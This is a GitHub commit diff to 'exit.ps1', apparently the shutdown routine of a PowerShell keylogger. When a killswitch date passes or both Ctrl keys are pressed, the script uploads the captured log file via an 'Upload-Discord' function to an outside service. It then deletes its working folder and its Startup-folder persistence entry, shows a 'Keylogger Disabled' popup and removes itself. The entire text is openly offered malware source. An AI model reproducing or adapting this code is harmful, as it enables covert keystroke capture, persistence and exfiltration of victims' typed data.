Update exit.ps1

This commit is contained in:
I-Am-Jakoby 2022-12-26 19:01:05 -06:00 committed by GitHub
parent c4b156cebd
commit 6a36aae65f
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -30,10 +30,10 @@ $Lctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'LeftCt
$Rctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'RightCtrl')
if((Get-Content "$env:appdata\-locker\killswitch.txt") -ne $null -and ((get-date) -gt (Get-content "$env:appdata\-locker\killswitch.txt")) -or ($Rctrl -and $Lctrl)){
sleep 5
Upload-Discord -file $Path
Remove-Item "$env:appdata\-locker" -Recurse -Force;
Remove-Item "$env:userprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\-p.cmd"
$done = New-Object -ComObject Wscript.Shell;$done.Popup("Keylogger Disabled",3)
Upload-Discord -file $Path
Remove-Item "$env:appdata\-exit.ps1"
exit
}